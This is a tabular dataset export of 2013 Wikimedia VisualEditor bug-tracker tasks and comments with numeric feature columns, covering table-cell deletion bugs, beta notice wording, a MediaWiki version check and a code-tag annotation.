234649,Images specified with size foopxpx render at native size,I've just been pointed to an older discussion about this issue at https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Problem_with_image_and_other_information_in_an_infobox,,,1374183991,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-7uebrq6s5hgkckkrqkv5,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,4.071428571428571,1.0,I've just been pointed to an older discussion about this issue at URL
53624,VisualEditor: Delete immediately before (or backspace after) a table cell moves text out of/into cell,"User:NicoV at the English Wikipedia reports:
*In [[The Drover's Boy]], if you put the cursor just before the table and hit Del, the first title (Song title) is put outside the table while Performes becomes the first title.
*I saw this because I tried to insert a template just before the table, then deleted it => an empty line was visible before the table. When trying to delete this empty line, the first title was put outside the table.

I did some more testing and can confirm that:
*Pressing delete after the last character before a table deletes the first cell and moves the contents out of the table, and moves the second cell (including formatting) to the former position of the first cell. The position of the second cell is replaced with a blank cell.
*The same happens when pressing backspace before the first character of the first cell
*After repeating this sufficient times the contents of the last cell on the first line is moved out of the table and the line deleted.
*Pressing delete after the last character in the last cell, or backspace before the first character after the last cell, moves the whole of the next line (or title) into the last cell of the table, preserving formatting and links, etc.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50286",Medium,50.0,1374166740,1429468017.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-ufv5laxxz2gup5mbsoae,task_description,resolved,True,c1,3,False,False,False,2,,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,10.333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,1.0,2.3333333333333335,11.333333333333334,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,2.3333333333333335,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,3.6666666666666665,0.6666666666666666,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,16.333333333333332,0.3333333333333333,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,13.333333333333334,1.6666666666666667,8.333333333333334,1.6666666666666667,2.6666666666666665,15.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,1.6666666666666667,11.333333333333334,2.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,1.3333333333333333,0.0,2.3333333333333335,0.3333333333333333,0.0,1.6666666666666667,3.8070231958762886,0.5603164375715922,"User:NicoV at the English Wikipedia reports:
*In [[The Drover's Boy]], if you put the cursor just before the table and hit Del, the first title (Song title) is put outside the table while Performes becomes the first title.
*I saw this because I tried to insert a template just before the table, then deleted it => an empty line was visible before the table. When trying to delete this empty line, the first title was put outside the table.

I did some more testing and can confirm that:
*Pressing delete after the last character before a table deletes the first cell and moves the contents out of the table, and moves the second cell (including formatting) to the former position of the first cell. The position of the second cell is replaced with a blank cell.
*The same happens when pressing backspace before the first character of the first cell
*After repeating this sufficient times the contents of the last cell on the first line is moved out of the table and the line deleted.
*Pressing delete after the last character in the last cell, or backspace before the first character after the last cell, moves the whole of the next line (or title) into the last cell of the table, preserving formatting and links, etc.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
445973,VisualEditor: Delete immediately before (or backspace after) a table cell moves text out of/into cell,"None of the reported issues happen any more. I think most of it was fixed a long time ago, I fixed the last stragglers with T92702.",,,1429468007,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ufv5laxxz2gup5mbsoae,task_subcomment,,True,c1,3,True,,,93,,3.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,10.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,3.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.6551724137931036,0.8275862068965517,"None of the reported issues happen any more. I think most of it was fixed a long time ago, I fixed the last stragglers with T92702."
234483,VisualEditor: Delete immediately before (or backspace after) a table cell moves text out of/into cell,"A user on Polish Wikipedia reports this is happening there, too. Please see Bug:61272.",,,1392229924,,PHID-USER-brn4v5ta45bnw4f5as3h,False,,,PHID-TASK-ufv5laxxz2gup5mbsoae,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,29.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.294117647058823,0.9411764705882353,"A user on Polish Wikipedia reports this is happening there, too. Please see Bug:61272."
234476,VisualEditor: Delete immediately before (or backspace after) a table cell moves text out of/into cell,"A user at en.wp has reported what appears to be the same bug also occurring with image captions:
""Suppose an image lives between paragraphs 1 and 2. If I click before the first word of paragraph 2 and press ""backspace"", the rest of paragraph 2 gets moved into the caption of the image.

Suppose an image lives between paragraphs 1 and 2. If I click after the last word of paragraph 1 and press ""delete"", the image disappears and the caption gets moved to the end paragraph 1.""",,,1374224206,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ufv5laxxz2gup5mbsoae,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,11.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,9.5,0.5,5.0,1.5,4.0,9.5,0.0,0.0,0.0,0.0,3.5,0.5,6.0,0.0,1.5,11.0,0.5,0.0,4.5,0.0,1.5,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,3.795625942684766,0.7077677224736048,"A user at en.wp has reported what appears to be the same bug also occurring with image captions:
""Suppose an image lives between paragraphs 1 and 2. If I click before the first word of paragraph 2 and press ""backspace"", the rest of paragraph 2 gets moved into the caption of the image.

Suppose an image lives between paragraphs 1 and 2. If I click after the last word of paragraph 1 and press ""delete"", the image disappears and the caption gets moved to the end paragraph 1."""
53620,VisualEditor: Clarify beta explanation text,"User:Hhhippo notes that the language ""VisualEditor is in 'beta' and so many not let you edit everything yet"" is likely to be very confusing to those who are not techie or wiki insiders. New users may understand better if ""VisualEditor"" was explained or replaced with more general language such as ""This editing software"".

While we're talking about clarifying language, I wonder if those same new editors would benefit from a note that they can use ""edit source"" if a feature they need does not work.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1374162360,1374257435.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-mc4ekk7vrriv5kycc2u2,task_description,resolved,True,c1,3,False,False,True,2,,0.5,0.5,0.5,0.5,2.0,7.0,1.5,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,1.5,1.0,3.5,8.5,0.5,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,1.5,1.0,0.0,5.5,2.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,1.5,0.0,2.5,0.0,0.5,1.0,0.0,1.5,11.5,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.5,6.5,4.5,1.5,4.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,4.0,8.5,1.0,0.0,6.0,0.0,4.0,0.0,0.5,1.5,0.0,1.5,1.0,0.0,0.0,4.08224043715847,0.7765027322404372,"User:Hhhippo notes that the language ""VisualEditor is in 'beta' and so many not let you edit everything yet"" is likely to be very confusing to those who are not techie or wiki insiders. New users may understand better if ""VisualEditor"" was explained or replaced with more general language such as ""This editing software"".

While we're talking about clarifying language, I wonder if those same new editors would benefit from a note that they can use ""edit source"" if a feature they need does not work.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
234259,VisualEditor: Clarify beta explanation text,I think this is now better; closing.,,,1374257435,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mc4ekk7vrriv5kycc2u2,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,3.3333333333333335,1.0,I think this is now better; closing.
234256,VisualEditor: Clarify beta explanation text,"(In reply to comment #0)
> User:Hhhippo notes that the language ""VisualEditor is in 'beta' and so many
> not let you edit everything yet"" is likely to be very confusing to those who
> are not techie or wiki insiders. New users may understand better if
> ""VisualEditor"" was explained or replaced with more general language such as
> ""This editing software"".
> 
> While we're talking about clarifying language, I wonder if those same new
> editors would benefit from a note that they can use ""edit source"" if a
> feature they need does not work.

This language has already been changed (but not deployed yet - that will be this afternoon) to:

| VisualEditor is in 'beta'. You may encounter software issues, and you may
| not be able to edit parts of the page. Click ""Edit source"" to switch to
| wikitext mode – unsaved changes will be lost.

I think this makes this a bit clearer, though not perfect.",,,1374162561,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mc4ekk7vrriv5kycc2u2,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,1.5,2.5,3.5,2.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.5,6.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,3.0,1.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,2.0,3.5,9.5,1.0,1.5,5.0,0.0,0.0,0.0,0.5,6.5,0.0,0.5,0.0,2.5,6.5,5.0,0.0,3.0,0.0,2.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.3545454545454545,0.6909090909090909,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This language has already been changed (but not deployed yet - that will be this afternoon) to:

| VisualEditor is in 'beta'. You may encounter software issues, and you may
| not be able to edit parts of the page. Click ""Edit source"" to switch to
| wikitext mode – unsaved changes will be lost.

I think this makes this a bit clearer, though not perfect."
53606,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently","Right now lots of users try VE with MW 1.21.x and are confused as to why they get nothing.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1374158040,1375297757.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-63tv3lkov2okxud2zyxo,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.763157894736842,0.7631578947368421,"Right now lots of users try VE with MW 1.21.x and are confused as to why they get nothing.

--------------------------
**Version**: unspecified
**Severity**: minor"
233560,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently",This is now merged.,,,1375297757,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,This is now merged.
233552,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently","Change 76869 merged by jenkins-bot:
Add dependency check for MW1.22/wmf11

https://gerrit.wikimedia.org/r/76869",,,1375297187,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,1.0,"Change 76869 merged by jenkins-bot:
Add dependency check for MW1.22/wmf11

GERRIT_URL"
233549,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently","Change 76869 had a related patch set uploaded by Jforrester:
Add dependency check for MW1.22/wmf11

https://gerrit.wikimedia.org/r/76869",,,1375233664,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.619047619047619,1.0,"Change 76869 had a related patch set uploaded by Jforrester:
Add dependency check for MW1.22/wmf11

GERRIT_URL"
233543,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently","Change 76706 merged by jenkins-bot:
Check MW version before loading VE

https://gerrit.wikimedia.org/r/76706",,,1375217200,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.294117647058823,1.0,"Change 76706 merged by jenkins-bot:
Check MW version before loading VE

GERRIT_URL"
233537,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently","Change 76706 had a related patch set uploaded by Esanders:
Check MW version before loading VE

https://gerrit.wikimedia.org/r/76706",,,1375181969,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.55,1.0,"Change 76706 had a related patch set uploaded by Esanders:
Check MW version before loading VE

GERRIT_URL"
233530,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently",Digging around I assume wfUseMW( '1.22alpha' )?,,,1375098833,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.727272727272727,0.9090909090909091,Digging around I assume wfUseMW( '1.22alpha' )?
233526,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently","http://www.mediawiki.org/wiki/Extension:VisualEditor says yes.

I'm not familiar with how extensions usually check for MW version compatibility. Obviously we could do it in the client and throw a JS exception, but there may a preferred way in PHP?",,,1375098410,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,7.0,10.0,10.0,2.0,0.0,0.0,7.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,3.9047619047619047,0.9285714285714286,"URL says yes.

I'm not familiar with how extensions usually check for MW version compatibility. Obviously we could do it in the client and throw a JS exception, but there may a preferred way in PHP?"
233522,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently",Is MW >= 1.22 a requirement? If so we can check wgVersion and throw an exception,,,1375098204,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,17.0,6.0,6.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,1.0,Is MW >= 1.22 a requirement? If so we can check wgVersion and throw an exception
53592,VisualEditor: Remove formatting drop-down's horrendous use of strings as implicit message names,"'label': 'foo' should mean that the label is 'foo', not ve.msg( 'foo' );

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1374109200,1380056460.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-gdwu5ick5nfagic7txm6,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.046511627906977,0.5348837209302325,"'label': 'foo' should mean that the label is 'foo', not ve.msg( 'foo' );

--------------------------
**Version**: unspecified
**Severity**: minor"
232773,VisualEditor: Remove formatting drop-down's horrendous use of strings as implicit message names,This has been resolved in Ic97a636f9a193374728629931b6702bee1b3416a - now menu options are individual tools and they have static titleMessage properties.,,,1380056460,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-gdwu5ick5nfagic7txm6,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.75,1.0,This has been resolved in Ic97a636f9a193374728629931b6702bee1b3416a - now menu options are individual tools and they have static titleMessage properties.
53590,VisualEditor: Support the <code> tag as a text annotation,"VisualEditor should support adding and editing the code tag (<code></code>).

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1374109140,1374868236.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-ktldutlvil3ngaxt2l2k,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,4.363636363636363,0.7272727272727273,"VisualEditor should support adding and editing the code tag (<code></code>).

--------------------------
**Version**: unspecified
**Severity**: enhancement"
232679,VisualEditor: Support the <code> tag as a text annotation,"This is now done, but marked as ""experimental"" (so it will show up on MediaWiki.org and the test wikis, but not on other production wikis like the Wikipedias). This is mostly because we don't yet have a proper design for how to have lots of different text annotations (currently we're tracking bugs to create an additional eight on top of the four that now exist including this one). Once we've got a design for that, we'll switch it out of experimental mode, but I'll mark this as fixed for now.",,,1374868236,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.5,1.0,4.5,0.5,0.5,0.0,0.0,1.5,4.0,0.0,0.0,0.0,4.0,0.0,6.5,13.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,4.5,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,1.5,0.0,0.0,0.0,0.0,0.0,7.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,4.0,2.0,2.5,8.0,0.0,0.0,0.0,0.0,4.5,0.0,3.0,0.0,5.5,13.0,0.5,0.0,1.0,0.0,5.5,0.0,1.5,2.5,0.0,2.0,0.0,0.0,0.0,3.7685185185185186,0.8240740740740741,"This is now done, but marked as ""experimental"" (so it will show up on MediaWiki.org and the test wikis, but not on other production wikis like the Wikipedias). This is mostly because we don't yet have a proper design for how to have lots of different text annotations (currently we're tracking bugs to create an additional eight on top of the four that now exist including this one). Once we've got a design for that, we'll switch it out of experimental mode, but I'll mark this as fixed for now."
232674,VisualEditor: Support the <code> tag as a text annotation,"Change 76077 merged by jenkins-bot:
Code annotation button

